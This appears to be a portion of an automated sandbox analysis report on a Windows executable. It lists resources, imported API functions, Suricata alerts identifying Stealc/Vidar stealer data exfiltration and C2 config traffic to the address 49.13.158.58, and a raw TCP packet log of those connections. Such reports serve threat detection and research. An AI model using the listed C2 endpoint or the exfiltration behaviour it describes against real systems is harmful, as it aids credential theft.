RT_DIALOG	0x4849f8	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x484b18	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x484b78	0x5a	data	English	United States	0.7888888888888889
RT_MANIFEST	0x484bd8	0x2d4	XML 1.0 document, ASCII text, with very long lines (724), with no line terminators	English	United States	0.5649171270718232

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, MulDiv, lstrlenA, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, FindWindowExW, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, IsWindow
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-04-07T18:09:09.536526+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49827	83.217.208.144	443	TCP
2025-04-07T18:09:35.301614+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49686	49.13.158.58	443	TCP
2025-04-07T18:09:36.243179+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49687	49.13.158.58	443	TCP
2025-04-07T18:09:36.985085+0200	2859378	ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2	1	192.168.2.7	49687	49.13.158.58	443	TCP
2025-04-07T18:09:37.369205+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49688	49.13.158.58	443	TCP
2025-04-07T18:09:38.698387+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49689	49.13.158.58	443	TCP
2025-04-07T18:09:39.443034+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	49.13.158.58	443	192.168.2.7	49689	TCP
2025-04-07T18:09:39.821771+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49690	49.13.158.58	443	TCP
2025-04-07T18:09:40.558450+0200	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1	1	192.168.2.7	49690	49.13.158.58	443	TCP
2025-04-07T18:09:40.558636+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	49.13.158.58	443	192.168.2.7	49690	TCP
2025-04-07T18:09:40.956144+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49691	49.13.158.58	443	TCP
2025-04-07T18:09:41.743038+0200	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.7	49691	49.13.158.58	443	TCP
2025-04-07T18:09:42.358748+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49692	49.13.158.58	443	TCP
2025-04-07T18:09:43.168421+0200	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.7	49692	49.13.158.58	443	TCP
2025-04-07T18:09:43.460795+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49695	49.13.158.58	443	TCP
2025-04-07T18:09:43.463757+0200	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.7	49695	49.13.158.58	443	TCP
2025-04-07T18:09:43.463757+0200	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.7	49695	49.13.158.58	443	TCP
2025-04-07T18:09:44.426340+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49696	49.13.158.58	443	TCP
2025-04-07T18:09:44.429351+0200	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.7	49696	49.13.158.58	443	TCP
2025-04-07T18:09:44.429351+0200	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.7	49696	49.13.158.58	443	TCP
2025-04-07T18:09:46.480614+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49698	49.13.158.58	443	TCP
2025-04-07T18:09:46.483474+0200	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.7	49698	49.13.158.58	443	TCP
2025-04-07T18:09:46.483474+0200	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.7	49698	49.13.158.58	443	TCP
2025-04-07T18:09:54.580307+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49726	49.13.158.58	443	TCP
2025-04-07T18:09:55.622976+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49729	49.13.158.58	443	TCP
2025-04-07T18:09:55.640532+0200	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.7	49726	49.13.158.58	443	TCP
2025-04-07T18:09:56.437955+0200	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.7	49729	49.13.158.58	443	TCP
2025-04-07T18:09:56.736357+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49730	49.13.158.58	443	TCP
2025-04-07T18:09:56.740088+0200	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.7	49730	49.13.158.58	443	TCP
2025-04-07T18:09:56.740088+0200	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.7	49730	49.13.158.58	443	TCP
2025-04-07T18:09:57.789214+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49731	49.13.158.58	443	TCP
2025-04-07T18:09:57.792091+0200	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.7	49731	49.13.158.58	443	TCP
2025-04-07T18:09:57.792091+0200	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.7	49731	49.13.158.58	443	TCP
2025-04-07T18:09:59.068383+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49732	49.13.158.58	443	TCP
2025-04-07T18:09:59.071506+0200	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.7	49732	49.13.158.58	443	TCP
2025-04-07T18:09:59.071506+0200	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.7	49732	49.13.158.58	443	TCP
2025-04-07T18:10:07.350703+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49748	49.13.158.58	443	TCP
2025-04-07T18:10:08.132230+0200	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.7	49748	49.13.158.58	443	TCP
2025-04-07T18:10:08.343803+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49765	49.13.158.58	443	TCP
2025-04-07T18:10:08.347026+0200	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.7	49765	49.13.158.58	443	TCP
2025-04-07T18:10:08.347026+0200	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.7	49765	49.13.158.58	443	TCP
2025-04-07T18:10:09.664174+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49775	49.13.158.58	443	TCP
2025-04-07T18:10:09.713581+0200	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.7	49775	49.13.158.58	443	TCP
2025-04-07T18:10:09.713581+0200	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.7	49775	49.13.158.58	443	TCP
2025-04-07T18:10:10.767047+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49783	49.13.158.58	443	TCP
2025-04-07T18:10:10.791562+0200	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.7	49783	49.13.158.58	443	TCP
2025-04-07T18:10:10.791562+0200	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.7	49783	49.13.158.58	443	TCP
2025-04-07T18:10:11.682794+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49795	49.13.158.58	443	TCP
2025-04-07T18:10:12.987244+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49811	49.13.158.58	443	TCP
2025-04-07T18:10:14.155318+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49822	49.13.158.58	443	TCP
2025-04-07T18:10:14.882969+0200	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.7	49822	49.13.158.58	443	TCP
2025-04-07T18:10:16.258864+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49825	49.13.158.58	443	TCP
2025-04-07T18:10:16.271504+0200	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.7	49825	49.13.158.58	443	TCP
2025-04-07T18:10:18.051779+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49826	49.13.158.58	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 7, 2025 18:09:09.536525965 CEST	49674	443	192.168.2.7	2.23.227.208
Apr 7, 2025 18:09:09.536525011 CEST	49673	443	192.168.2.7	2.23.227.208
Apr 7, 2025 18:09:09.536525011 CEST	49675	443	192.168.2.7	2.23.227.208
Apr 7, 2025 18:09:12.505337000 CEST	49676	80	192.168.2.7	23.199.215.203
Apr 7, 2025 18:09:12.505381107 CEST	49677	443	192.168.2.7	2.18.98.62
Apr 7, 2025 18:09:19.145874023 CEST	49673	443	192.168.2.7	2.23.227.208
Apr 7, 2025 18:09:19.145884037 CEST	49674	443	192.168.2.7	2.23.227.208
Apr 7, 2025 18:09:19.145888090 CEST	49675	443	192.168.2.7	2.23.227.208
Apr 7, 2025 18:09:34.699037075 CEST	49686	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:34.699074984 CEST	443	49686	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:34.699192047 CEST	49686	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:34.713028908 CEST	49686	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:34.713043928 CEST	443	49686	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:35.301457882 CEST	443	49686	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:35.301614046 CEST	49686	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:35.412141085 CEST	49686	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:35.412167072 CEST	443	49686	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:35.412513971 CEST	443	49686	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:35.412580013 CEST	49686	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:35.415601015 CEST	49686	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:35.460268974 CEST	443	49686	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:35.862565041 CEST	443	49686	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:35.862624884 CEST	49686	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:35.862639904 CEST	443	49686	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:35.862653017 CEST	443	49686	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:35.862688065 CEST	49686	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:35.862704039 CEST	49686	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:35.866590023 CEST	49686	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:35.866605997 CEST	443	49686	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:35.868493080 CEST	49687	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:35.868550062 CEST	443	49687	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:35.868623018 CEST	49687	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:35.868864059 CEST	49687	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:35.868881941 CEST	443	49687	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:36.242996931 CEST	443	49687	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:36.243179083 CEST	49687	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:36.243662119 CEST	49687	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:36.243673086 CEST	443	49687	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:36.245445013 CEST	49687	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:36.245450020 CEST	443	49687	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:36.985125065 CEST	443	49687	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:36.985186100 CEST	443	49687	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:36.985209942 CEST	49687	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:36.987163067 CEST	49688	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:36.987164021 CEST	49687	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:36.987164021 CEST	49687	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:36.987195969 CEST	443	49688	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:36.987268925 CEST	49688	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:36.987509012 CEST	49688	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:36.987523079 CEST	443	49688	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:37.286525011 CEST	49687	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:37.286556005 CEST	443	49687	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:37.369121075 CEST	443	49688	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:37.369204998 CEST	49688	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:37.369766951 CEST	49688	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:37.369774103 CEST	443	49688	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:37.371629953 CEST	49688	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:37.371638060 CEST	443	49688	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:38.316485882 CEST	443	49688	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:38.316503048 CEST	443	49688	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:38.316554070 CEST	443	49688	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:38.316575050 CEST	49688	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:38.316658020 CEST	49688	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:38.316936970 CEST	49688	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:38.316958904 CEST	443	49688	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:38.319060087 CEST	49689	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:38.319104910 CEST	443	49689	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:38.319211006 CEST	49689	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:38.319463968 CEST	49689	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:38.319479942 CEST	443	49689	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:38.698292971 CEST	443	49689	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:38.698386908 CEST	49689	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:38.699254990 CEST	49689	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:38.699263096 CEST	443	49689	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:38.701052904 CEST	49689	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:38.701059103 CEST	443	49689	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:39.442882061 CEST	443	49689	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:39.442904949 CEST	443	49689	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:39.442953110 CEST	443	49689	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:39.442986965 CEST	49689	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:39.443041086 CEST	49689	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:39.443063974 CEST	49689	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:39.443555117 CEST	49689	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:39.443567991 CEST	443	49689	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:39.445391893 CEST	49690	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:39.445405006 CEST	443	49690	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:39.445477962 CEST	49690	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:39.445748091 CEST	49690	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:39.445763111 CEST	443	49690	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:39.724438906 CEST	49671	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:09:39.821667910 CEST	443	49690	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:39.821770906 CEST	49690	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:39.822364092 CEST	49690	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:39.822372913 CEST	443	49690	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:39.824085951 CEST	49690	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:39.824091911 CEST	443	49690	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:40.036518097 CEST	49671	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:09:40.558495045 CEST	443	49690	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:40.558558941 CEST	443	49690	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:40.558598042 CEST	49690	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:40.558621883 CEST	49690	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:40.558938980 CEST	49690	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:40.558969021 CEST	443	49690	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:40.577162981 CEST	49691	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:40.577207088 CEST	443	49691	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:40.577282906 CEST	49691	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:40.577505112 CEST	49691	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:40.577532053 CEST	443	49691	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:40.661520004 CEST	49671	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:09:40.956048965 CEST	443	49691	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:40.956144094 CEST	49691	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:40.956808090 CEST	49691	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:40.956816912 CEST	443	49691	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:40.958791971 CEST	49691	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:40.958800077 CEST	443	49691	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:40.958842039 CEST	49691	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:40.958853960 CEST	443	49691	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:41.743053913 CEST	443	49691	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:41.743123055 CEST	49691	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:41.743145943 CEST	443	49691	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:41.743191004 CEST	49691	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:41.743740082 CEST	443	49691	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:41.743783951 CEST	49691	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:41.743796110 CEST	443	49691	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:41.743839025 CEST	49691	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:41.749722958 CEST	49691	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:41.749738932 CEST	443	49691	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:41.864659071 CEST	49671	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:09:41.977788925 CEST	49692	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:41.977832079 CEST	443	49692	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:41.977900028 CEST	49692	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:41.982878923 CEST	49692	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:41.982894897 CEST	443	49692	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:42.358665943 CEST	443	49692	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:42.358747959 CEST	49692	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:42.359261990 CEST	49692	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:42.359276056 CEST	443	49692	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:42.361239910 CEST	49692	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:42.361248016 CEST	443	49692	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:43.061695099 CEST	49695	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:43.061729908 CEST	443	49695	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:43.061790943 CEST	49695	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:43.085364103 CEST	49695	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:43.085377932 CEST	443	49695	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:43.168469906 CEST	443	49692	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:43.168544054 CEST	443	49692	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:43.168581009 CEST	49692	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:43.168612957 CEST	49692	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:43.170284033 CEST	49692	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:43.170305014 CEST	443	49692	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:43.460585117 CEST	443	49695	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:43.460794926 CEST	49695	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:43.461452961 CEST	49695	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:43.461467028 CEST	443	49695	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:43.463175058 CEST	49695	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:43.463182926 CEST	443	49695	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:43.463215113 CEST	49695	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:43.463241100 CEST	443	49695	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:43.463459969 CEST	49695	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:43.463488102 CEST	443	49695	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:43.463612080 CEST	49695	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:43.463634014 CEST	443	49695	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:43.463800907 CEST	49695	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:43.463821888 CEST	443	49695	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:43.463840008 CEST	49695	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:43.463859081 CEST	443	49695	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:43.463876009 CEST	49695	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:43.463887930 CEST	443	49695	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:43.463916063 CEST	49695	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:43.463932037 CEST	443	49695	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:43.463941097 CEST	49695	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:43.463956118 CEST	443	49695	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:43.463960886 CEST	49695	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:43.463970900 CEST	443	49695	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:43.464026928 CEST	49695	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:43.464041948 CEST	443	49695	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:43.464061975 CEST	49695	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:43.464071035 CEST	443	49695	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:43.464147091 CEST	49695	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:43.464158058 CEST	443	49695	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:43.464176893 CEST	49695	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:43.464188099 CEST	443	49695	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:43.464221001 CEST	49695	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:43.464231014 CEST	443	49695	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:43.464291096 CEST	49695	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:43.464306116 CEST	443	49695	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:43.464329958 CEST	49695	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:43.464335918 CEST	443	49695	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:44.054919004 CEST	49696	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:44.054964066 CEST	443	49696	49.13.158.58	192.168.2.7
Apr 7, 2025 18:09:44.055061102 CEST	49696	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:09:44.055339098 CEST	49696	443	192.168.2.7	49.13.158.58
